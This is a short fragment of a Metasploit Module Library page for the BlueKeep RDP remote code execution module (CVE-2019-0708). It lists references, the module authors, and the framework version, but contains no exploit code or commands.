- Microsoft Security Advisory 4500331: Guidance for older platforms (XP / 2003) (BlueKeep)
- Microsoft RDP RCE (CVE-2019-0708) (BlueKeep) (uncredentialed check)
Authors
- Sean Dillon <[email protected]>
- Ryan Hanson
- OJ Reeves <[email protected]>
- Brent Cook <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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